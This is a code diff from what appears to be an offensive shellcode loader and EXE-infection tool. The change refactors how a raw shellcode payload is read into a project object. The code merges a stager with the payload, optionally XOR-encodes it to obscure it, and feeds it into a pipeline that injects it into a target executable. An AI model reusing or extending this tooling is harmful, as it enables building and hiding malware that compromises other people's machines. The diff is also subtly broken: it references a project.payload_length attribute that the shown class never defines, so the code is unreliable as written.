refactor: payload data into project

phases/assembler.py

@@ -26,26 +26,31 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath, shellcode_out: FileP
         f.write(code)
 
 
-def merge_loader_payload(shellcode_in: FilePath, shellcode_out: FilePath, payload: FilePath, decoder_style: DecoderStyle):
-    logger.info("--[ Merge stager: {} + {} -> {}".format(
-        shellcode_in, project.payload, shellcode_out))
+def merge_loader_payload(
+        shellcode_in: FilePath, 
+        shellcode_out: FilePath, 
+        payload_data: bytes, 
+        decoder_style: DecoderStyle
+):
+    logger.info("--[ Merge stager with payload -> {}".format(
+        shellcode_out))
+    
     with open(shellcode_in, 'rb') as input1:
         data_stager = input1.read()
-    with open(project.payload, 'rb') as input2:
-        data_payload = input2.read()
 
-    if project.decoder_style == DecoderStyle.PLAIN_1:
+    if decoder_style == DecoderStyle.PLAIN_1:
         # Nothing to do
         pass
-    elif project.decoder_style == DecoderStyle.XOR_1:
+    elif decoder_style == DecoderStyle.XOR_1:
         xor_key = 0x42
         logger.info("---[ XOR payload with key 0x{:x}".format(xor_key))
-        data_payload = bytes([byte ^ xor_key for byte in data_payload])
+        payload_data = bytes([byte ^ xor_key for byte in payload_data])
 
     logger.info("---[ Size: Stager: {} and Payload: {}  Sum: {} ".format(
-        len(data_stager), len(data_payload), len(data_stager)+len(data_payload)))
+        len(data_stager), len(payload_data), len(data_stager)+len(payload_data)))
 
     with open(shellcode_out, 'wb') as output:
-        data = data_stager + data_payload
+        # append them
+        data = data_stager + payload_data
         output.write(data)
         observer.add_code("final_shellcode", data) 

project.py

@@ -5,7 +5,8 @@ from defs import *
 class Project():
     def __init__(self):
         # User, generating normally
-        self.payload: FilePath = ""
+        self.payload_path: FilePath = ""
+        self.payload_data: bytes = b""
 
         self.source_style: SourceStyle = SourceStyle.peb_walk
         self.alloc_style: AllocStyle = AllocStyle.RWX
@@ -36,4 +37,9 @@ class Project():
         self.verify_filename: FilePath = r'C:\Temp\a'
 
 
+    def load_payload(self):
+        with open(self.payload_path, 'rb') as input2:
+            self.payload_data = input2.read()
+        
+
 project = Project()

supermega.py

@@ -74,7 +74,7 @@ def main():
         project.show_command_output = True
 
     if args.verify:
-        project.payload = "shellcodes/createfile.bin"
+        project.payload_path = "shellcodes/createfile.bin"
         project.verify = True
 
         project.try_start_final_infected_exe = False
@@ -119,7 +119,7 @@ def main():
             if not os.path.isfile(args.shellcode):
                 logger.info("Could not find: {}".format(args.shellcode))
                 return
-            project.payload = args.shellcode
+            project.payload_path = args.shellcode
         if args.inject:
             if not os.path.isfile(args.inject):
                 logger.info("Could not find: {}".format(args.inject))
@@ -137,6 +137,9 @@ def start():
         clean_files()
         delete_all_files_in_directory("logs/")
 
+    # Load our payload
+    project.load_payload()
+
     # Check: Destination EXE capabilities
     project.exe_capabilities = ExeCapabilities([
         "GetEnvironmentVariableW",
@@ -163,14 +166,10 @@ def start():
 
     # Compile: C -> ASM
     if project.generate_asm_from_c:
-        # Find payload size
-        with open(project.payload, 'rb') as input2:
-            data_payload = input2.read()
-            payload_length = len(data_payload)
         phases.compiler.compile(
             c_in = main_c_file, 
             asm_out = main_asm_file, 
-            payload_len = payload_length, 
+            payload_len = project.payload_length, 
             exe_capabilities = project.exe_capabilities)
 
     # Assemble: ASM -> Shellcode
@@ -189,7 +188,7 @@ def start():
         phases.assembler.merge_loader_payload(
             shellcode_in = main_shc_file,
             shellcode_out = main_shc_file,
-            payload = project.payload, 
+            payload_data = project.payload_data, 
             decoder_style = project.decoder_style)
 
         if project.verify and project.source_style == SourceStyle.peb_walk: